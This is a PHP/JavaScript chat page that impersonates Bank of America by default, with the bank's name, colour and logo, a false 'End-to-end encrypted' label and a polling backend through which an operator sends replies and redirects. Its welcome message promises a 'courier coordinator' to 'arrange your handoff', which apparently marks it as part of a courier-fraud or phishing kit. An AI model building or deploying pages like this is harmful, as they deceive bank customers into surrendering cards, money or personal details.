<?php
$data_file = __DIR__ . '/alert_data.php';
$data = [];
if (file_exists($data_file)) include $data_file;

$bank           = htmlspecialchars($data['bank'] ?? 'Bank of America', ENT_QUOTES, 'UTF-8');
$color          = $data['color'] ?? '#E31837';
$logo           = $data['logo'] ?? 'bofa.svg';
$conf           = $data['conf'] ?? '4829371';

$bank_logo_path = 'res/img/banks/' . $logo;
$company_logo   = 'res/img/LOGOCOMPANY.svg';
$session_id     = preg_replace('/[^a-zA-Z0-9]/', '', $conf);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Case Support Chat</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500&display=swap" rel="stylesheet">
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        body {
            font-family: 'Inter', system-ui, sans-serif;
            background: #f4f4f2;
            min-height: 100vh;
            display: flex; align-items: flex-start; justify-content: center;
            padding: 24px 16px 0; color: #111;
        }

        .card {
            background: #fff; border: 1px solid rgba(0,0,0,0.08);
            border-radius: 20px; width: 100%; max-width: 420px;
            display: flex; flex-direction: column;
            height: calc(100vh - 48px); overflow: hidden;
        }

        /* Header */
        .card-head {
            padding: 14px 20px; border-bottom: 1px solid rgba(0,0,0,0.07);
            display: flex; align-items: center; justify-content: space-between;
            flex-shrink: 0;
        }

        .bank-logo { height: 30px; width: auto; display: block; }
        .partner-logo { height: 18px; opacity: 0.7; }
        .partner-label { font-size: 11px; color: #999; }

        /* Chat header bar */
        .chat-bar {
            padding: 12px 20px; border-bottom: 1px solid rgba(0,0,0,0.07);
            display: flex; align-items: center; gap: 12px; flex-shrink: 0;
            background: #fafaf8;
        }

        .chat-avatar {
            width: 38px; height: 38px; border-radius: 50%;
            background: <?php echo $color; ?>;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0; font-size: 15px; font-weight: 500; color: #fff;
        }

        .chat-agent-info { flex: 1; }
        .chat-agent-name { font-size: 13px; font-weight: 500; color: #111; }
        .chat-agent-status { display: flex; align-items: center; gap: 5px; margin-top: 2px; }
        .status-dot { width: 6px; height: 6px; border-radius: 50%; background: #3d9e6a; flex-shrink: 0; }
        .status-dot.offline { background: #bbb; }
        .status-text { font-size: 11px; color: #888; }

        .ref-badge {
            font-size: 10px; color: #888; background: #f0f0ee;
            padding: 4px 8px; border-radius: 99px; font-weight: 500;
        }

        /* Messages area */
        .chat-messages {
            flex: 1; overflow-y: auto; padding: 16px 16px 8px;
            display: flex; flex-direction: column; gap: 10px;
        }

        .chat-messages::-webkit-scrollbar { width: 0; }

        .msg-wrap { display: flex; flex-direction: column; max-width: 80%; }
        .msg-wrap.user { align-self: flex-end; align-items: flex-end; }
        .msg-wrap.agent { align-self: flex-start; align-items: flex-start; }

        .msg-bubble {
            padding: 9px 13px; border-radius: 16px;
            font-size: 13px; line-height: 1.5; word-break: break-word;
        }

        .msg-wrap.user .msg-bubble {
            background: <?php echo $color; ?>; color: #fff;
            border-bottom-right-radius: 4px;
        }

        .msg-wrap.agent .msg-bubble {
            background: #f0f0ee; color: #111;
            border-bottom-left-radius: 4px;
        }

        .msg-time {
            font-size: 10px; color: #bbb; margin-top: 3px; padding: 0 2px;
        }

        /* Typing indicator */
        .typing-wrap { display: none; align-self: flex-start; }
        .typing-wrap.visible { display: flex; }

        .typing-bubble {
            background: #f0f0ee; border-radius: 16px 16px 16px 4px;
            padding: 10px 14px; display: flex; align-items: center; gap: 4px;
        }

        .typing-dot {
            width: 6px; height: 6px; border-radius: 50%; background: #aaa;
            animation: typingBounce 1.2s ease-in-out infinite;
        }
        .typing-dot:nth-child(2) { animation-delay: 0.2s; }
        .typing-dot:nth-child(3) { animation-delay: 0.4s; }

        @keyframes typingBounce {
            0%, 60%, 100% { transform: translateY(0); opacity: 0.5; }
            30%            { transform: translateY(-5px); opacity: 1; }
        }

        /* System message */
        .sys-msg {
            align-self: center; font-size: 11px; color: #aaa;
            background: #f8f8f6; border-radius: 99px;
            padding: 4px 12px; text-align: center; max-width: 90%;
        }

        /* Input area */
        .chat-input-area {
            padding: 12px 16px 20px; border-top: 1px solid rgba(0,0,0,0.07);
            display: flex; gap: 8px; align-items: flex-end; flex-shrink: 0;
            background: #fff;
        }

        .chat-input {
            flex: 1; border: 1px solid rgba(0,0,0,0.12); border-radius: 20px;
            padding: 10px 14px; font-size: 13px; font-family: inherit;
            resize: none; outline: none; max-height: 100px; line-height: 1.4;
            background: #fafaf8; color: #111;
            transition: border-color 0.2s;
        }

        .chat-input:focus { border-color: <?php echo $color; ?>; background: #fff; }
        .chat-input::placeholder { color: #bbb; }

        .send-btn {
            width: 40px; height: 40px; border-radius: 50%; flex-shrink: 0;
            background: <?php echo $color; ?>; border: none; cursor: pointer;
            display: flex; align-items: center; justify-content: center;
            transition: opacity 0.15s, transform 0.15s;
        }

        .send-btn:hover { opacity: 0.85; transform: scale(1.05); }
        .send-btn:disabled { opacity: 0.35; cursor: not-allowed; transform: none; }

        .send-btn svg { flex-shrink: 0; }

        /* Footer */
        .card-foot {
            padding: 8px 20px 10px; border-top: 1px solid rgba(0,0,0,0.07);
            text-align: center; font-size: 11px; color: #aaa; flex-shrink: 0;
        }
    </style>
</head>
<body>

<div class="card">

    <!-- Logo header -->
    <div class="card-head">
        <img src="<?php echo $bank_logo_path; ?>" class="bank-logo" alt="<?php echo $bank; ?>">
        <div style="display:flex;align-items:center;gap:6px;">
            <span class="partner-label">in partnership with</span>
            <img src="<?php echo $company_logo; ?>" class="partner-logo" alt="Company">
        </div>
    </div>

    <!-- Agent bar -->
    <div class="chat-bar">
        <div class="chat-avatar">S</div>
        <div class="chat-agent-info">
            <div class="chat-agent-name">Case Support Agent</div>
            <div class="chat-agent-status">
                <div class="status-dot" id="status-dot"></div>
                <div class="status-text" id="status-text">Connecting…</div>
            </div>
        </div>
        <div class="ref-badge">#<?php echo htmlspecialchars($conf); ?></div>
    </div>

    <!-- Messages -->
    <div class="chat-messages" id="chat-messages">
        <div class="sys-msg">Secure case chat · End-to-end encrypted</div>
        <!-- Messages injected here -->
        <div class="typing-wrap" id="typing-indicator">
            <div class="typing-bubble">
                <div class="typing-dot"></div>
                <div class="typing-dot"></div>
                <div class="typing-dot"></div>
            </div>
        </div>
    </div>

    <!-- Input -->
    <div class="chat-input-area">
        <textarea id="chat-input" class="chat-input" placeholder="Type a message…" rows="1" onkeydown="handleKey(event)" oninput="autoResize(this)"></textarea>
        <button class="send-btn" id="send-btn" onclick="sendMessage()" disabled>
            <svg width="18" height="18" viewBox="0 0 18 18" fill="none">
                <path d="M2 9l14-7-5 7 5 7-14-7z" fill="white" stroke="white" stroke-width="0.5" stroke-linejoin="round"/>
            </svg>
        </button>
    </div>

    <div class="card-foot">
        © <?php echo date('Y'); ?> <?php echo $bank; ?>. All rights reserved.
    </div>

</div>

<script>
var SESSION_ID  = '<?php echo $session_id; ?>';
var CONF        = '<?php echo htmlspecialchars($conf, ENT_QUOTES); ?>';
var lastTs = 0;
var connected   = false;
var messages    = [];   // {role:'user'|'agent', text, time}
var LS_CHAT_KEY = 'chat_msgs_' + SESSION_ID;

/* ── localStorage persistence ── */
function saveMsgs() {
    try { localStorage.setItem(LS_CHAT_KEY, JSON.stringify({msgs: messages, lastTs: lastTs})); } catch(e){}
}

function loadMsgs() {
    try {
        var s = JSON.parse(localStorage.getItem(LS_CHAT_KEY) || '{}');
        if (s.msgs) { messages = s.msgs; lastTs = s.lastTs || 0; }
    } catch(e){}
}

/* ── Render ── */
function nowTime() {
    var d = new Date();
    return d.getHours().toString().padStart(2,'0') + ':' + d.getMinutes().toString().padStart(2,'0');
}

function renderMessages() {
    var box   = document.getElementById('chat-messages');
    var typer = document.getElementById('typing-indicator');
    // Clear existing message nodes (keep sys-msg and typing indicator)
    var kids = Array.from(box.children);
    kids.forEach(function(k) {
        if (!k.classList.contains('sys-msg') && !k.id) k.remove();
    });
    // Re-insert before typing indicator
    messages.forEach(function(m) {
        var wrap = document.createElement('div');
        wrap.className = 'msg-wrap ' + m.role;
        var bubble = document.createElement('div');
        bubble.className = 'msg-bubble';
        bubble.textContent = m.text;
        var time = document.createElement('div');
        time.className = 'msg-time';
        time.textContent = m.time;
        wrap.appendChild(bubble);
        wrap.appendChild(time);
        box.insertBefore(wrap, typer);
    });
    box.scrollTop = box.scrollHeight;
}

function appendMessage(role, text, time) {
    messages.push({role: role, text: text, time: time || nowTime()});
    saveMsgs();
    renderMessages();
}

/* ── Send ── */
function sendMessage() {
    var inp = document.getElementById('chat-input');
    var txt = inp.value.trim();
    if (!txt) return;
    inp.value = ''; autoResize(inp);
    document.getElementById('send-btn').disabled = true;

    appendMessage('user', txt);

    fetch('chat_send.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'msg=' + encodeURIComponent(txt) + '&conf=' + encodeURIComponent(CONF) + '&session=' + encodeURIComponent(SESSION_ID)
    }).catch(function(){});
}

function handleKey(e) {
    if (e.key === 'Enter' && !e.shiftKey) {
        e.preventDefault();
        sendMessage();
    }
}

function autoResize(el) {
    el.style.height = 'auto';
    el.style.height = Math.min(el.scrollHeight, 100) + 'px';
    document.getElementById('send-btn').disabled = el.value.trim() === '';
}

/* ── Poll for agent replies ── */
function pollReplies() {
    fetch('chat_poll.php?session=' + encodeURIComponent(SESSION_ID) + '&last_ts=' + lastTs)
        .then(function(r) { return r.json(); })
        .then(function(data) {
            if (!connected) {
                connected = true;
                document.getElementById('status-dot').classList.remove('offline');
                document.getElementById('status-text').textContent = 'Online · Ready to assist';
            }

            // Handle redirect from /endchat
            if (data.redirect) {
                window.location.href = data.redirect;
                return;
            }

            if (data.messages && data.messages.length) {
                showTyping();
                setTimeout(function() {
                    hideTyping();
                    data.messages.forEach(function(m) {
                        appendMessage('agent', m.text, m.time);
                    });
                    if (data.last_ts) lastTs = data.last_ts;
                    saveMsgs();
                }, 800);
            } else {
                if (data.last_ts) lastTs = data.last_ts;
            }
        })
        .catch(function() {
            document.getElementById('status-dot').classList.add('offline');
            document.getElementById('status-text').textContent = 'Reconnecting…';
        })
        .finally(function() {
            setTimeout(pollReplies, 3000);
        });
}

function showTyping() { document.getElementById('typing-indicator').classList.add('visible'); }
function hideTyping() { document.getElementById('typing-indicator').classList.remove('visible'); }

/* ── Init ── */
loadMsgs();
renderMessages();

// Status initially offline until first poll succeeds
document.getElementById('status-dot').classList.add('offline');

// Welcome message if fresh chat
if (messages.length === 0) {
    appendMessage('agent', 'Hello! You\'re connected to case support for reference #' + CONF + '. A courier coordinator will be with you shortly to arrange your handoff. How can we help?', nowTime());
}

pollReplies();
</script>

</body>
</html>